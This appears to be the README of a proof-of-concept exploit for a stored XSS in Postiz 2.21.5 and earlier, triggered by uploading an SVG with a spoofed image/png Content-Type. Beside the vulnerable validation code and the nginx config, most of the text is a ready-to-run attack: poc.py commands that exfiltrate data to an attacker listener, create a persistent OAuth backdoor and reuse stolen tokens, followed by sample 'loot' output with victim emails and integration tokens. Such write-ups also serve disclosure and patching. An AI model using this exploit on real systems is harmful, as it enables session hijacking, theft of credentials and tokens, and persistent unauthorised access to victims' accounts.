Attacker uploads .svg with Content-Type: image/png
  -> Server validates only the Content-Type header (CWE-345)
    -> File saved to disk with original .svg extension (CWE-434)
      -> nginx serves it as image/svg+xml
        -> Browser executes embedded JavaScript (CWE-79)
          -> Same-origin: full access to victim's session

const validation =
  (value.mimetype.startsWith('image/') ||
    value.mimetype.startsWith('video/mp4')) &&
  value.size <= maxSize;

const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);

http {
    include       /etc/nginx/mime.types;
    location /uploads/ {
        alias /uploads/;
    }
}

Python 3.8+
pip install requests

# 1. Check if target is vulnerable
python3 poc.py http://target:5000 -e [email protected] -p password --check

# 2. Exfiltrate everything from the victim
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a full-dump

# 3. Create a persistent backdoor
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a create-oauth-app

# 4. Reuse the token without credentials
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
    --lhost YOUR_IP -a full-dump

Attacker                    Server Postiz              Victim
    |                              |                        |
    |-- 1. Login/Register -------->|                        |
    |-- 2. Upload SVG malevolo --->|                        |
    |<---- URL del file -----------|                        |
    |-- 3. Send URL to victim --------------------------->  |
    |                              |<--- 4. Opens URL ----- |
    |                              |--- SVG + JS ---------> |
    |<-------------- 5. JS executes, exfils data -----------|

$ python3 poc.py http://target:5000 -e [email protected] -p S3cret! --lhost 10.0.0.1 -a full-dump

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗  ██╗  ██╗  █████╗  ███████╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ██╔═████╗ ██║  ██║ ██╔══██╗ ╚════██║
██║     ██║   ██║█████╗   -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝     ██╔╝
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗    ██╔╝
╚██████╗ ╚████╔╝ ███████╗             ██║ ╚██████╔╝      ██║ ╚█████╔╝    ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝  ╚═════╝       ╚═╝  ╚════╝     ╚═╝

  Postiz <= 2.21.5 — Stored XSS via MIME-Spoofed File Upload

[*] Logging in as [email protected] ...
[+] Authenticated.
[*] Generating payload: Exfiltrate everything in a single payload
[*] Uploading malicious .svg with Content-Type: image/png ...
[+] Upload successful.
    ID:   28c1daee-d83e-403e-bc1f-dba63182d4b0
    Path: http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
[*] Starting exfiltration listener on 0.0.0.0:8888 ...

=================================================================
  Send this URL to the victim:

  http://target:5000/uploads/2026/04/15/4be19b2244eb.svg

=================================================================

[*] Waiting for victim to open the link ...

[+] Loot received @ 2026-04-15 03:45:41
    tag: victim-profile
    data: {"email":"[email protected]","orgId":"...","publicApi":"bd332945..."}

[+] Loot received @ 2026-04-15 03:45:41
    tag: integrations
    data: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}]

[+] Loot received @ 2026-04-15 03:45:42
    tag: team-members
    data: [{"userId":"...","email":"[email protected]","role":"SUPERADMIN"}]
    ...